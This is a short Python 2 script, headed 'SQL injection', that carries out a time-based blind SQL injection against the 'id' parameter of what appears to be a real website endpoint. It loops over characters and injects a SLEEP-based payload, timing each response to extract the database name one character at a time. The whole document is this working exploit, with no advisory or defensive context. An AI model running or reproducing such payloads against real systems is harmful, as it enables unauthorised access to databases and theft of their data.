SQL注入

import requests
import time
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
for i in range(1,20):
    for _str in payloads:
        start_time = time.time()
        url = "http://share.vip.com/Acts/SetCount?id=63200' AND (SELECT * FROM (SELECT(SLEEP((ASCII(MID(LOWER(DATABASE())," + str(i) + ",1))=" + str(ord(_str)) + ")*5)))RING) AND 'RING'='RING"
        result = requests.get(url).text
        if(time.time() - start_time) > 3:
            print _str
            break